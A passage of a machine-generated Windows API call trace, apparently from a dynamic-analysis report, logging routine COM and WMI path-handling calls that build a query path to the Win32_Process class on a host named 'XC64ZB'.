WbemDefPath:IUnknown:Release (This=0x1b4b0120) returned 0x2 [0111.551] WbemDefPath:IUnknown:Release (This=0x1b4b0120) returned 0x1 [0111.551] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0111.551] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0111.551] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x1b30d0c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4b0120) returned 0x0 [0111.552] WbemDefPath:IUnknown:AddRef (This=0x1b4b0120) returned 0x3 [0111.552] WbemDefPath:IUnknown:Release (This=0x1b4b0120) returned 0x2 [0111.552] WbemDefPath:IWbemPath:SetText (This=0x1b4b0120, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0111.552] IWbemClassObject:Get (in: This=0x1b4cfad0, wszName="__SERVER", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=0, plFlavor=0x1b30d608*=0 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0111.552] SysStringByteLen (bstr="XC64ZB") returned 0xc [0111.552] SysStringByteLen (bstr="XC64ZB") returned 0xc [0111.552] IWbemClassObject:Get (in: This=0x1b4cfad0, wszName="__NAMESPACE", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0111.552] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0111.552] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0111.552] IWbemClassObject:Get (in: This=0x1b4cfad0, wszName="__CLASS", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0111.552] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0111.552] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0111.553] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0111.553] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0111.553] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0111.553] IUnknown:Release (This=0x6124e8) returned 0x1 [0111.554] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d1680) returned 0x0 [0111.554] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d1680, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0111.554] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d1680, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4b0720) returned 0x0 [0111.554] WbemDefPath:IUnknown:Release (This=0x1b4d1680) returned 0x0 [0111.554] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4b0720) returned 0x0 [0111.554] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0111.554] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0111.554] WbemDefPath:IUnknown:AddRef (This=0x1b4b0720) returned 0x3 [0111.554] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0111.554] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0111.554] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d1c00) returned 0x0 [0111.554] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d1c00, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0111.555] WbemDefPath:IUnknown:Release (This=0x1b4d1c00) returned 0x3 [0111.555] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0111.555] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0111.555] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0111.555] WbemDefPath:IUnknown:Release (This=0x1b4b0720) returned 0x2 [0111.555] WbemDefPath:IUnknown:Release (This=0x1b4b0720) returned 0x1 [0111.555] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0111.555] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0111.555] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4b0720) returned 0x0 [0111.555] WbemDefPath:IUnknown:AddRef (This=0x1b4b0720) returned 0x3 [0111.555] WbemDefPath:IUnknown:Release (This=0x1b4b0720) returned 0x2 [0111.555] WbemDefPath:IWbemPath:SetText (This=0x1b4b0720, uMode=0x4, pszPath="") returned 0x0 [0111.555] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0111.555] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0111.555] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0111.555] IUnknown:Release (This=0x6124e8) returned 0x1 [0111.556] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d1d60) returned 0x0 [0111.556] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d1d60, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0111.556] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d1d60, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4aeda0) returned 0x0 [0111.557] WbemDefPath:IUnknown:Release (This=0x1b4d1d60) returned 0x0 [0111.557] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4aeda0) returned 0x0 [0111.557] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0111.557] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0111.557] WbemDefPath:IUnknown:AddRef (This=0x1b4aeda0) returned 0x3 [0111.557] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0111.557] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0111.557] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d1800) returned 0x0 [0111.557] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d1800, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0111.557] WbemDefPath:IUnknown:Release (This=0x1b4d1800) returned 0x3 [0111.557] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0111.557] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0111.557] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0111.557] WbemDefPath:IUnknown:Release (This=0x1b4aeda0) returned 0x2 [0111.558] WbemDefPath:IUnknown:Release (This=0x1b4aeda0) returned 0x1 [0111.558] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0111.558] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0111.558] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4aeda0) returned 0x0 [0111.558] WbemDefPath:IUnknown:AddRef (This=0x1b4aeda0) returned 0x3 [0111.558] WbemDefPath:IUnknown:Release (This=0x1b4aeda0) returned 0x2 [0111.558] WbemDefPath:IWbemPath:SetText (This=0x1b4aeda0, uMode=0x4, pszPath="") returned 0x0 [0111.558] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aeda0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0111.558] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0720, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0111.558] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4aeda0, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0111.558] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4aeda0, puNameBufLength=0x1b30d560*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d560*=0x0, pName=0x0) returned 0x80041009 [0111.558] WbemDefPath:IWbemPath:SetServer (This=0x1b4aeda0, Name="XC64ZB") returned 0x0 [0111.558] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0111.558] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0111.558] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0111.558] IUnknown:Release (This=0x6124e8) returned 0x1 [0111.559] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d19e0) returned 0x0 [0111.559] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d19e0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0111.559] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d19e0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4afee0) returned 0x0 [0111.559] WbemDefPath:IUnknown:Release (This=0x1b4d19e0) returned 0x0 [0111.559] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4afee0) returned 0x0 [0111.560] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0111.560] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0111.564] WbemDefPath:IUnknown:AddRef (This=0x1b4afee0) returned 0x3 [0111.564] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0111.564] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0111.564] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d16e0) returned 0x0 [0111.564] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d16e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0111.564] WbemDefPath:IUnknown:Release (This=0x1b4d16e0) returned 0x3 [0111.564] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0111.564] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0111.564] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0111.564] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x2 [0111.564] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x1 [0111.564] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0111.564] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0111.565] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4afee0) returned 0x0 [0111.565] WbemDefPath:IUnknown:AddRef (This=0x1b4afee0) returned 0x3 [0111.565] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x2 [0111.565] WbemDefPath:IWbemPath:SetText (This=0x1b4afee0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0111.565] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aeda0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0111.565] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afee0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0111.565] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afee0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0111.565] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afee0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0111.565] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4aeda0) returned 0x0 [0111.565] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afee0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0111.565] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afee0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0111.565] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afee0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="ROOT") returned 0x0 [0111.565] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4aeda0, uIndex=0x0, pszName="ROOT") returned 0x0 [0111.565] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afee0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0111.565] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afee0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="CIMV2") returned 0x0 [0111.565] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4aeda0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0111.565] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4aeda0, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0111.565] WbemDefPath:IWbemPath:SetClassName (This=0x1b4aeda0, Name="Win32_Process") returned 0x0 [0111.565] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4aeda0, uRequestedInfo=0x0, puResponse=0x1b30d640 | out: puResponse=0x1b30d640*=0x20c16) returned 0x0 [0111.565] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aeda0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0111.566] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aeda0, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x22, pszText=0x0) returned 0x0 [0111.566] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aeda0, lFlags=4, puBuffLength=0x1b30d590*=0x22, pszText="000000000000000000000000000000000" | out: 